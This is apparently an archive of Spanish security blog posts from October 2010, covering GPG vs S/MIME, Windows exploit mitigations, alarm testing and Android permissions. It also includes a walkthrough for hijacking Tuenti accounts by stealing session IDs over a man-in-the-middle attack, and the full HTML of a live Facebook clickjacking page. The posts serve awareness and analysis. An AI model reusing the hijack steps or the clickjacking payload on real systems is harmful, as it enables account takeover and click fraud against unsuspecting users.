07 octubre 2010

GPG VS S/MIME

Sin duda son 'de facto' los dos estándares mas empleados a la hora de cifrar / firmar digitalmente correos electrónicos. Tanto el uno como el otro tienen sus pros y sus contras, puntos fuertes y débiles.

La idea de este post es tratar de clarificar en que se diferencian y cual es la opción mas indicada en cada situación.

GPG es el heredero open source de PGP, ha tenido una amplia difusión en internet, y por sus características minimalistas (empezar a usar GPG es muy sencillo) es el indiscutible líder.

S/MIME es bastante mas oscuro y pese a gozar de mayor soporte 'de serie' en los clientes de correo, tiene una difusión muy marginal. Se basa en el uso de certificados X.509 (si, como los del DNI o FNMT) y su nicho tradicional han sido las organizaciones.

Ambos sistemas ofrecen tanto firmado digital (autenticidad, integridad de los datos) como cifrado de comunicaciones.

GPG
*) A favor:

  • Autonomía de uso, no requiere de terceros para empezar a usarlo
  • Su uso no está estrictamente ligado al correo electrónico, también se usa para firmar digitalmente software (por ejemplo)
  • Comunidad OpenSource que trabaja activamente en su mantenimiento  
*) En contra:

  • No existe método estandarizado para revocar claves en caso de compromiso
  • Pese a que hay proyectos paralelos, el uso de forma centralizada en organizaciones es sumamente complejo y requiere de conocimientos extra por parte de los usuarios
  • La validez de las claves publicas vienen dada por la confianza otorgada al usuario, no existe respaldo de un tercero
  • En caso de compromiso de la clave privada, queda en ti comunicar de las formas que estimes oportunas su compromiso y la nueva clave pública
  • Casi ningún cliente de correo da soporte 'de serie'
S/MIME
*) A favor:

  • Aunque nadie impide que tu montes tu propia CA, lo normal es que los certificados estén respaldados por una organización que certifica la autenticidad
  • Su uso en organizaciones es mucho mas sencillo de implantar y, soluciones como Microsoft CA que permite 'enroll' de certificados lo simplifica mucho
  • El sistema tiene 'de serie' mecanismos para comprobar si un certificado digital es o no es valido (empleando CRLs o servidores OCSP)
  • Muchos Países (entre ellos España) han trabajado para ofrecer a sus ciudadanos certificados digitales confiables 
  • Casi todos los clientes de correo tienen soporte nativo
  • Dispone de opción 'No repudio' en la firma (útil a efectos legales)
*) En contra:
  • Gestionar un certificado digital no es algo autónomo, dependes de un tercero para hacer la gestión que puede suponer demoras 
  • Existe muy poca información / tutoriales y la tecnología goza de muy poco apoyo popular
  • En caso de compromiso de la organización que emite el certificado (de las autoridades de certificación) el daño puede ser catastrófico y afectar directa o indirectamente a todos los poseedores de un certificado
  • Los certificados digitales llevan asociados 'propósitos de uso' que en algunos casos pueden limitar el uso de las claves (el caso del DNI-E Español, cuyos certificados NO pueden usarse para cifrar datos)
En definitiva, ambos sistemas son excelentes pero tienen ámbitos diferentes, usar GPG en modo personal es la opción mas fácil y rápida. Si el objetivo es facilitar herramientas de firma / cifrado a volúmenes amplios de usuarios, S/MIME ofrece muchas mas ventajas.  
Leer más...

06 octubre 2010

Tuenti y las redes locales inseguras - 1/2

En este artículo voy a explicar cómo nos podríamos hacer con el control de la cuenta de Tuenti de un usuario que se encuentre en nuestra misma red local, siempre y cuando ésta permita la realización de un ataque ‘man in the middle’ (de ahora en adelante MITM).

Debido a que el artículo completo era excesivamente largo (lo vi antes de publicarse e invitaba a no leerlo) he decidido realizar dos entregas del mismo y, de esta forma, evitarme el hacer un resumen pues me daba la sensación de que todo lo que eliminaba era algo interesante que se quedaba en el tintero (y poca gente acude al PDF completo, como sucedió con el artículo de la gestión de contraseñas en la UPM).

En esta primera entrega hablaré un poco del TuentiChat (el nombre me lo he inventado pero así nos entendemos), de su estructura y algunos comentarios para realizar una aplicación que monitorice el tráfico y nos muestre las conversaciones de una forma más amigable. Además comentaré la forma de obtener el SID y CSFR de la cuenta para tomar el control de la misma.

En la segunda entrega se explicarán un par de acciones que podemos realizar sobre la cuenta de la víctima y cómo podríamos robar una sesión e incluso los credenciales del usuario de una forma totalmente transparente (o al menos de una forma que sería más efectiva a nivel de sospechas que una suplantación de certificado, sabiendo que la mayoría lo aceptarían sin contemplaciones).

Al artículo acompañará el código de la aplicación (escrita en Java para aprovechar que sea multiplataforma) que utilicé para todas las pruebas y las demostraciones de las charlas. Este código lo publicaré al final de esta entrega pues no están implementados los ataques de la segunda parte (los hice manualmente aunque si están incluidas las clases que habría que utilizar).

¡Comencemos!
Disclaimer:

No me hago responsable del mal uso que pueda darse a esta información o al código de la aplicación que la complementa.

En ningún momento la intención del artículo es la de incitar a que se produzcan ataques sobre las cuentas de los usuarios de Tuenti (siendo exportable a cualquier otro servicio), más bien su finalidad es la de concienciar, pues si no cuidamos dónde y cómo nos conectamos, la privacidad de nuestros datos (y en muchas ocasiones los de otras personas) puede verse comprometida.


1. Introducción

Todos sabemos lo nada recomendable que es el navegar por una red que no conocemos, pues no podemos saber si el administrador (u otro usuario) está monitorizando nuestro tráfico.

Puesto que muchas veces nos veremos en la situación de utilizar una, es más que recomendable cifrar el tráfico a través de una VPN de confianza.

Aprovecho para recomendar la serie de artículos que escribió Chema Alonso en su blog, El lado del mal, sobre la seguridad de las VPN y qué soluciones son las más recomendadas.

Visto esto y orientándolo a Tuenti, por ser una red social con gran presencia nacional, vamos a preguntarnos: ¿qué podemos hacer con ella y una red local insegura? Pues muchas cosas interesantes, a la par que muchas medidas de seguridad han de ser implementadas.

A lo largo de cada apartado aprovecharé para comentar las medidas que Tuenti ha decido tomar al respecto tras haber sido avisados (podremos estar de acuerdo o no con los motivos pero siempre es interesante saberlos).

Preparando una de las charlas sobre el artículo, desde Tuenti se puso mucho interés en que contara algunas de las implicaciones legales que conlleva el realizar el ataque. Por este motivo, aquí tenéis un breve comentario sobre lo que me comunicó su departamento legal:

Debido a que obtendremos control total sobre la cuenta de Tuenti de la víctima y realizaremos peticiones en su nombre, estaremos cometiendo un delito de Suplantación de Identidad, penado con entre seis meses y tres años de cárcel. Además, para realizar esto habremos monitorizado su tráfico por lo que estaremos cometiendo un delito de Interceptación de comunicaciones penado con entre uno y cuatro años de cárcel.

2. El escenario

Los requisitos necesarios para poder llevar a cabo el ataque consisten en encontrarnos en la misma red local que la víctima y el haber realizado un ataque MITM para poder monitorizar/manipular el tráfico.

No voy a explicar cómo realizar el ataque MITM ni cómo monitorizar el tráfico pues creo que es ampliamente conocido por todos y hay mucha documentación al respecto, aun así decir que utilicé Ettercap (MITM) y TShark (monitorización).

A pesar de esto, a lo largo del artículo se recomendará el no depender de aplicaciones externas (no nos aportan ninguna funcionalidad extra) sino que será más interesante el programar e implementar éstas por nuestra cuenta (en el caso del sniffer bastaría con uno simple que dumpee el tráfico o que trabaje ‘al vuelo’ y con respecto al ataque MITM podremos tener un mayor control de los paquetes antes de redireccionarlos a la víctima).

3. El TuentiChat


Aprovechando que el tráfico del TuentiChat no está cifrado, podremos monitorizar las conversaciones de la víctima e incluso, más orientado con lo que se verá en la segunda entrega, podremos modificar las mismas (lo que envía y lo que recibe).

El TuentiChat utiliza el protocolo abierto XMPP, el cual está basado en XML. Por lo tanto, a la hora de monitorizar el tráfico sería aconsejable utilizar un filtro para el protocolo HTTP/XML.

Un ejemplo del contenido del paquete de un mensaje sería:

<body rid='RID' sid=’SID’ xmlns='http://jabber.org/protocol/httpbind' key=’KEY’>
  <message xmlns="jabber:client" to="IDUSUARIO@xmppX.tuenti.com/tuenti">
      <body>MENSAJE</body>
  </message>
</body>

¿Es posible seguir una conversación?

De forma manual no, pues la cantidad de paquetes que no tienen que ver con la conversación (que no contienen mensajes) nos desbordaría. Además nos encontraríamos con un problema a la hora de seguir multiconversaciones pues el ID del usuario no nos es fácil de recordar por lo que será difícil diferenciar qué mensaje corresponde a qué conversación. Por lo tanto, para poder seguir el TuentiChat de la víctima será necesario realizar una aplicación con un FrontEnd “amigable”.

No voy a detallar el cómo programar la aplicación, pero si voy a hacer algunos comentarios al respecto.

En primer lugar, es necesario realizar un filtrado del tráfico de la víctima pues, si obligamos al programa a trabajar con toda la captura, hará que en muchas ocasiones el TuentiChat no sea fluido, pues estará procesando otro tráfico innecesariamente (por ejemplo, si el usuario está viendo un vídeo en YouTube). Con respecto al TuentiChat, tendremos que procesar únicamente el tráfico proveniente del rango de IPs 95.131.x.x.

A la hora de procesar los paquetes y dividir los mensajes por conversaciones, tendremos que centrarnos en 4 datos importantes, siendo éstos el RID (para evitar paquetes duplicados), el emisor (etiqueta from), el receptor (etiqueta to) y el mensaje (entre las etiquetas body de segundo nivel).

En el caso de que sea la víctima la que inicie la conversación y el otro usuario no le responda, no sabremos el ID de la víctima pues no manda la etiqueta from (la asigna a posteriori el servidor), por lo que tendremos que tener cuidado de procesar esos mensajes correctamente.

En mi caso opté por generar un buffer temporal a la espera de poder ponerle nombre a la víctima. Otra opción sería realizar una petición al perfil del usuario nada más obtener el SID, obtenerlo de ahí y olvidarnos de este problema (el SID aparece siempre).

Después de haber visto todo esto es interesante preguntarse ¿es seguro utilizar el TuentiChat?

Mi respuesta es que no siempre que nos encontramos en una red insegura y no nos hayamos encargado nosotros mismos de cifrar el tráfico. A pesar de esto, aún me sorprende lo poco que le importa a la gente su privacidad.

¿Tuenti va a tomar alguna medida al respecto?

Tras reportarlo me comentaron que, a medio plazo, se dará la opción al usuario para que elija que sus sesiones de chat se cifren (con sus ventajas e inconvenientes).

Cuando les pregunté por qué el SSL no había sido implantado desde el principio me contestaron que, debido a los microcortes que sufren por culpa de su ISP (de unos 30s), si implantaban el SSL los servidores no iban a aguantar el pico de reconexiones si éstas estaban cifradas y que una reconexión escalar no era solución porque a los usuarios no les gustaría tener que esperar para seguir utilizando el servicio.

Ya hemos visto como podemos monitorizar conversaciones ajenas del TuentiChat de una forma preocupantemente sencilla, ahora bien, ¿qué más podemos hacer?

Algunas capturas de la aplicación:



4. Obteniendo el SID y el CSFR

Para poder realizar peticiones al servidor como si fuéramos la víctima y, por consiguiente, tener acceso total a su cuenta, tenemos que obtener dos datos, el SessionID (de ahora en adelante SID) y el CSFR (código utilizado para evitar peticiones desde enlaces externos a la página de Tuenti).

¿Cómo podemos obtener el SID?

Al haber realizado el ataque MITM todo el tráfico de la víctima pasa a través de nosotros, por lo tanto tenemos acceso a las cabeceras de las peticiones y, al encontrarse el SID en una cookie que se envía en cada una de ellas, podemos obtenerlo fácilmente en cualquier comunicación entre la víctima y los servidores de Tuenti.

Una vez que hemos obtenido el SID ya podríamos, por ejemplo, saber el nombre de cualquier usuario. Simplemente habría que hacer una petición a su perfil y obtenerlo del HTML que nos devuelve el servidor, y de ésta forma ya podríamos olvidarnos del ID. La petición se realizaría a la siguiente url:

http://www.tuenti.com/?m=profile&amp;user_id=ID

¿Cómo obtenemos el CSFR?

El CSFR lo podemos obtener fácilmente, una vez conseguido el SID, realizando una petición a cualquier página de Tuenti (perfil propio, de amigos, etc) y parseando el HTML recibido como respuesta, pues éste no está contenido en una cookie como en el caso del SID. El código HTML en el que se encuentra es:

var SiteConfig = { (…) CSFR: 'CSFR' (…) }

Antes el CSFR era único (por usuario) e invariante (no cambiaba en cada sesión como el SID), pero tras reportarlo, Tuenti ha decidido que varíe cada sesión. Aun así, a nosotros no nos afecta.

¡Hasta aquí todo! Ya para terminar con esta primera entrega...

A continuación se enlaza el código fuente de la aplicación utilizada. En esta versión están implementadas la monitorización de conversaciones, acceso/edición de la información personal de la víctima y algunas acciones como guardar el contenido de la conversación o cerrar la sesión. Faltaría por añadir el robo de sesión y el acceso a los credenciales. Ambos se pueden hacer con el Ettercap o de forma personalizada haciendo uso de la clase MITM.

Lo ideal sería tomar esta aplicación como punto de partida y modificar su código, pues está programado como forma de ir automatizando las pruebas pero sin tener una visión global, por lo que la parte principal del programa es la monitorización de conversaciones (que debería ser una opción dentro de la aplicación) y no el apartado de acciones sobre la cuenta de la víctima (lo que en realidad engloba todo). Esto imposibilita manejar la cuenta de la víctima si ésta no tiene una conversación en el TuentiChat (a pesar de que hayamos obtenido el SID, que es lo verdaderamente importante).

Nombre: aplicacion_src.7z
CRC-32: a323e8ad
MD5: f1f936e1f26a059add4e888a14748bec
SHA-1: 89afaf9342a3282989222001e1409a9344bdfb77

Artículo cortesía de: Luis Delgado J.
Leer más...

05 octubre 2010

Tus medidas de seguridad funcionan… ¿seguro, verdad?

Escribo este post, según asimilo lo que me ha pasado al llegar a casa por la noche. Como todos los días cuando ya no voy a salir, cierro la puerta con llave, y pongo la alarma parcial de casa. Así, puedo moverme libremente dentro, pero si yo (o un intruso) mueven la puerta principal, se disparará la alarma.

Sin embargo hoy, la alarma se ha puesto a sonar como una loca nada más activarla y, evidentemente, nada la ha hecho saltar. Me llaman de la central de alarmas. Me preguntan si está todo bien y les digo que he tenido un falso positivo con la alarma: sin intrusos en casa, la alarma ha sonado. Pruebo de nuevo y vuelve a saltar. Justo hace un año le cambiaron las pilas a todos los componentes de la alarma. Me indican que me enviarán un técnico, aunque le pregunto a la señorita por los mecanismos de auto-check de cada dispositivo y le indico que a lo mejor las pilas del módulo se han agotado. Me dice que, cada mes (Oh my God!!!) la alarma practica un auto-check y manda un reporte a la central. Curiosamente el auto-reporte ha sido enviado hoy, con TODO OK!.. sin errores de batería baja de cada módulo. Probando a mano, veo que más de un módulo no detecta perfectamente que hay un "intruso". La solución es que vendrá lo antes posible un técnico y lo solucionará y probará como parte del mantenimiento.

Esta experiencia me hace reflexionar sobre lo importante que es el hacer pruebas "de verdad" a los diversos mecanismos de seguridad, ya sea física o lógica, con los que contamos en nuestras infraestructuras. En este caso ha sido la alarma de casa, pero existen muchos más ejemplos cotidianos que nos asegura que todo funciona como debe: Las revisiones del coche o cualquier medio de transporte público, los ascensores, pruebas de seguridad realizadas a un avión antes/después de cada vuelo, los juegos de un parque de atracciones, etc,…

Como parte del mantenimiento de seguridad de cualquier sistema, se debe especificar un plan de pruebas en el que quede bien definido, al menos lo siguiente:
  • Nivel de criticidad del sistema a probar
  • El tipo de la prueba y su descripción
  • Objetivo de la prueba
  • Impacto de la prueba
  • Detalle del procedimiento a realizar (si aplica)
  • Sistemas interrelacionados/dependientes al que se va a probar
  • La frecuencia con la que se repite la prueba
  • Procedimiento a llevar a cabo en caso de fallo
En el caso de la alarma, está claro que ni la frecuencia del auto-check es correcta (1 mes entre un reporte y otro es claramente insuficiente), ni la forma de llevarla a cabo tampoco (confiamos en que los checks de comprobar batería baja funcionen, y en mi caso no funcionan como deben…). No digo que la empresa de alarmas haga mal su trabajo (reaccionan rápido y siempre cuando hay una alarma), pero sí que deberían esmerarse más en los procedimientos de comprobación de equipamiento: si el pago del mantenimiento es mensual, que las pruebas también lo sean.

Recuerdo en empresas en las que he estado que se indicaba (aproximadamente una vez al mes) que apagáramos los PCs por la noche, porque se iba a hacer pruebas de funcionamiento de los grupos electrógenos de generación de energía alternativa.


El propósito de cierto tipo de auditorías, requiere incluso el ocultar a los operadores y responsables del área de seguridad (con el consentimiento de la alta dirección, eso sí), que va a existir un intento de ataque real, a fin de comprobar la capacidad de reacción de  la organización para hacer pruebas ante una situación en la que se empiezan a encender luces rojas, a saltar traps SNMP, correos de alerta, etc,….  Con la misma finalidad, se efectúan simulacros de incendio o de atentado terrorista, permitiendo calcular el tiempo de evacuación de un edificio y optimizar los procesos. En menos palabras: prevenir, comprobar que los procedimientos son los adecuados y que están activos.

¿Y en las infraestructuras informáticas? 
No está de más el automatizar una serie de procedimientos que comprueben cada X tiempo que los sistemas de detección y defensa de una organización funcionan, que generan la alerta correcta, que avisan a quien tienen que avisar, en definitiva, que cuando toque un fuego real harán su función.
Leer más...

04 octubre 2010

Explotación de Windows, pasado, presente y futuro - 2/3

Continuamos con esta serie de artículos, y nos metemos en el año 2000. Empezamos con Windows 2000, a partir del cual vienen cosas muy interesantes.

Podríamos llamar a esta época la edad de oro de los desarrolladores de exploits ya que, desgraciadamente, Microsoft olvidó implementar una protección contra buffer overflow en sus sistemas. Los ataques clásicos funcionaban genial, y vemos en muy contadas ocasiones vulnerabilidades complejas, aunque la explotación en sí no era complicada.

Debido a estas pobres protecciones nos encontramos con virus (gusanos) de los que se habló bastante en su momento, y tuvieron una fuerte repercusión.

Por ejemplo, el gusano Sasser, que explotaba un fallo en LSASS; SQL Slammer, que utilizaba otro fallo en SQL Server; u el conocidísimo Blaster que explotaba un fallo en el servicio DCOM RPC, y además incluía un mensaje dedicado:
billy gates why do you make this possible ? Stop making money
and fix your software!!

También tenemos exploits clásicos y muy funcionales:
  • DCOM RCP exploit por flashsky (de xfocus).
  • MS Windows (RPC DCOM) exploit por HD Moore (Metasploit).
  • Kill Bill exploit por Alexander Sotirov.
  • MS Windows Plug-and-Play exploit por houseofdabus.

Además nos encontramos con algunas herramientas gráficas, como el conocido SMBdie que podía producir un cuelgue inmediato en cualquier sistema vulnerable.

Acerca de stack overflows clásicos hay algunos papers muy buenos y muy bien documentados:

También tenemos algunos sobre heap overflows clásicos:

Si cambiamos de área, hay un extenso trabajo en cuanto a vulnerabilidades basadas en el propio kernel de Windows (ya no tan clásicas):

Después de todo esto, volvemos al área de trabajo del usuario con ¡protecciones de memoria!

Debido a todos los abusos del sistema que hemos visto antes (tanto gusanos, como ténicas de explotación), Microsoft decide implementar protecciones de memoria. A partir de Windows XP SP2 (Windows XP Tablet PC Edition 2005), Windows Server 2003 SP1 (nivel de SO) y Visual Studio 2003 (nivel de compilador) estas protecciones empiezan a ser utilizadas.

Vamos a ver un resumen de ellas:
DEP (Data Execution Prevention), una medida implementada en los sistemas modernos de Microsoft que está pensada para evitar que las aplicaciones ejecuten código de una región de memoria no ejecutable. Ayuda a prevenir algunos exploits que almacenan código gracias a, por ejemplo, un buffer overflow. Puede ser implementada mediante hardware (CPUs que permiten marcar páginas de memoria como no ejecutables) o vía software (para CPUs que no tienen soporte). Más información sobre DEP aquí.

/GS (Buffer Security Check), es una opción de compilación añadida desde Visual Studio 2003 para prevenir buffer overruns que sobreescriben la dirección de retorno. La protección se basa en poner una cookie entre el buffer y la dirección de retorno, de forma que si se sobreescribe esta cookie la comprobación falle y se termine el proceso. Información más detallada aquí.

/SAFESEH (Image has Safe Exception Handlers), otra opción de compilación añadida en Visual Studio 2005. Información detallada aquí.

ASLR (Address Space Layout Randomization), implementado en Windows Vista, Server 2008 y Windows 7. Se basa en hacer aleatorias las direcciones clave de la memoria (ejecutables, DLLs, heap, stack), de forma que nunca sean las mismas. Hay mucha información sobre esta medida, teneis más aquí y aquí.

SEHOP, usado en los sistemas Windows más modernos (como 2008 y 7). La idea detrás de esta medida viene del artículo de Matt Miller, Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP.

Heap Protections, Microsoft también ha introducido algunas protecciones nuevas de heap, como heap meta cookie, safe unlinking ...

Por último, se me hace difícil terminar esta parte sin hacer referencia a EMET (ya en su versión 2.0), un toolkit del cual Fermín J.Serna (@fjserna) tiene cierta culpa y que permite a los usuarios implementar estas tecnologías en aplicaciones arbitrarias (especialmente de terceros), lo que ayuda a evitar que sean explotadas. Podeis ver la presentación que hizo Fermín en la RootedCON 2010 sobre el toolkit aquí, y aquí un ejemplo de como EMET 2.0 puede bloquear un exploit para Adobe Reader.

Dentro de poco la tercera y última entrega, donde veremos la respuesta de los investigadores de seguridad a estas protecciones, e intentaremos hacer una predicción de lo que nos espera en este campo de la seguridad.

Parte 1
Parte 2
Parte 3
Leer más...

03 octubre 2010

Enlaces de la SECmana - 39


Leer más...

01 octubre 2010

Clickjacking en Facebook

Pese a que el clickjaking es una vulnerabilidad que se conoce desde hace ya dos años, aún parece que se explota tímidamente en entornos reales. Tal vez los casos más populares son los que ocurren en redes sociales, más concretamente en Facebook, donde desde mayo se ha detectado varias veces: fbhole y I Like

Hoy cuando entre a mi cuenta uno de mis contactos había publicado una noticia sobre un suicidio que llamó mi curiosidad más escabrosa: "This poor girl commited suicide after her dad posted this to her wall". Ojo, porque pese a que cierran la página desde Facebook, la vuelven a abrir y ahora mismo está funcionando.


Cuando pulse en el enlace me extraño que solicitase una confirmación de la edad, ya que la fecha de nacimiento es algo que la plataforma conoce y ¿contenido adulto en Facebook? imposible.

Yo, que soy extremadamente inocente, buena persona y mayor de edad, decidí pulsar en la confirmación (aunque antes me había leído el código fuente de la página ).

Esta pantalla me llevo a una última donde ya se notaba los cubiletes del trilero. En ella se solicita al usuario que pulse sobre 3 números para comprobar si es humano, como si un captcha se tratase, aunque el objetivo real es hacer pulsar al usuario sobre el botón con el número 1 donde realmente se encuentra el "Compartir", tapándolo con una capa superior y de esta forma actuar como gusano para que nuestros contactos sientan la misma curiosidad que yo.


Tras compartir la información, finalmente muestra una imagen que posiblemente sea un método para ganar dinero en fraude por clicks (clickfraud)


A la fecha de la entrada, ya había más de 43.000 que habían pinchado y publicado la noticia. Aunque como la web es borrada y levantada, el contador se reinicia.

El método que yo utilicé para depurar el clickjacking fue modificar con Firebug el html quitándole la transparencia y viendo que se encontraba debajo.



Con la extensión NoScript, se podría haber detectado y prevenido su propagación.

El código aún está disponible por si queréis verlo en la URL original: http://girlkilledherself.leadhoster.com/suicide/iframe.php junto a todos los scripts: http://girlkilledherself.leadhoster.com/suicide/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
<title>This is my title - www.YourSite.com</title> 

</head> 
 
<body style="margin:0px"> 
 
<!---pirmas tabas ---> 
<div style="z-index:1; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity:0.0; opacity:0.0; position: absolute; 
left: 370px; 
top: 205px; 
background-color: #ccc; 
width: 110px; 
heigth: 50px; 
padding: 5px; 
color: white; 
border: 0px;"> 
<iframe src="http://www.facebook.com/plugins/likebox.php?id=155921704431406&amp;width=400&amp;connections=10&amp;stream=true&amp;header=true&amp;height=587" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:110px; height:100px;" allowTransparency="true" id="lpcframe" name="lpcframe"></iframe> 
</div> 

<div style="z-index:1000; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity:0.0; opacity:0.0; position: absolute; 
left: 221px; 
top: 202px;
background-color: #ccc; 
width: 108px;
heigth: 250px; 
padding: 5px; 
color: white; 
border: 0px;
overflow: hidden;">
<iframe src="http://www.facebook.com/plugins/likebox.php?id=111287152265484&amp;width=400&amp;connections=10&amp;stream=true&amp;header=true&amp;height=587" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:110px; height:100px;" allowTransparency="true" id="lpcframe" name="lpcframe"></iframe>
</div>
 
<div style="z-index:1000; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity:0.0; opacity:0.0; position: absolute; 
left: 52px; 
top: 282px;
background-color: #ccc; 
width: 138px;
heigth: 250px; 
padding: 5px; 
color: white; 
border: 0px;
overflow: hidden;"> 
<iframe style="width:300px; height:30px; border:none; margin-left: -100px;" scrolling="no" src="http://www.facebook.com/sharer.php?u=http://www.facebook.com/pages/Girl-committed-suicide-after-her-father-posted-this-to-her-wall/155921704431406" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:130px; height:100px;" allowTransparency="true" id="lpcframe" name="lpcframe"></iframe> 
</div> 

<!-- <img top ---> 
<img style="position:absolute; z-index:2; top:100px; left:50px;" src="imgs/top_submit.jpg"> 
 
<!-- <img bottom> ---> 
<img style="position:absolute; z-index:-21; top:312px; left:50px;" src="imgs/bottom_submit.jpg"> 
 
<!-- <img 1"> ---> 
<img style="position:absolute; z-index:-3; top:280px; left:50px;" src="imgs/1_submit.jpg"> 
 
<!-- <img 2"> ---> 
<img style="position:absolute; z-index:3; top:280px; left:199px;" src="imgs/2_submit.jpg"> 
 
<!-- <img 3"> ---> 
<img style="position:absolute; z-index:-3; top:280px; left:348px;" src="imgs/3_submit.jpg"> 
 
<!-- <left out"> ---> 
<img style="position:absolute; z-index:3; top:105px; left:-65px;" src="imgs/left_white.jpg"> 
<a href="http://fallingdown.leadhoster.com/suicide/blind.php" allowTransparency="true" > 
<img style="position:absolute; z-index:10; top:332px; left:327px; border: 0;" src="imgs/submit.jpg"></a> 
<script language=JavaScript> 
<!--
var message="Facebook Disabled this feature !";
///////////////////////////////////
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}
function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}
 
if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}
 
document.oncontextmenu=new Function("alert(message);return false")
 
// --> 
</script> 
 
 
</body> 
</html>
Leer más...

Fuga de datos personales en Android

Uno de los mayores problemas de seguridad que tiene Android es la falta de control sobre las aplicaciones del Market.
Muchos de los programas o juegos que se disponen, incluso gratuitamente, para todos los usuarios cuando son instalados solicitan acceder a permisos especiales que a más de uno le hace levantar las cejas y preguntarse por qué un juego similar al "Snake" necesita saber nuestra posición geográfica.

Los permisos que una aplicación de Android puede utilizar se definen en en el archivo AndroidManifest.xml, con la etiqueta dentro de la raíz del archivo apk, los grupos a los que pertenecen se componen de: 
  • Cuentas: permiso para acceder a las cuentas gestionadas por el Account Manager.
  • Gastar dinero: sin que el usuario tenga que interactuar (!!).
  • Herramientas de desarrollo: r elativos a herramientas para desarrolladores.
  • Acceso al hardware: facilita acceso directo al hardware del dispositivo.
  • Localización: con el que se conocerá la localización del usuario.
  • Mensajes: para enviar o interceptar mensajes del usuario.
  • Red: facilita conectividad con la red.
  • Información personal: acceso a contactos, calendario, e-mail, etcétera.
  • Llamadas: permiso para interceptar o modificar el estado del teléfono, llamadas salientes...
  • Almacenamiento: acceso a la tarjeta SD.
  • Herramientas del sistema: relativo al API del sistema.

Durante la instalación se le muestra al usuario que permisos necesita para su funcionamiento y si deseamos concedérselos. Si no estamos conformes, simplemente no se instalará. No pudiendo deseleccionar o cambiarlos antes de su ejecución.

Debido a este modelo de seguridad ha sido posible que ya se haya desarrollado malware como Tapsnake, un supuesto juego con la función real de enviar el geoposicionamiento de la víctima a un servidor web en Internet. En este caso en concreto presentaba el siguiente archivo de Manifiesto:


Podéis ver un análisis detallado de Tapsnake realizado por Víctor Antonio Torre para el laboratorio de Hispasec.

Para solucionar el problema hay herramientas como DroidWall que realmente son un front-end de iptables y con las que se puede denegar o conceder acceso a la red a las aplicaciones que queramos.


Otra (futura) opción, es el uso TaintDroid, un firmware que actualmente se está desarrollando y que pronto se publicará opensource, convirtiendo el terminal en una sandbox y con la que rápidamente se podrá detectar que aplicaciones tratan de acceder a datos sospechosos.

¿Instalaríais un juego que pide acceso a la SD (esa donde guardas las fotos) e Internet? Pues como yo, seguro que sí: siguiente, siguiente, aceptar, sí. Jugar.
Leer más...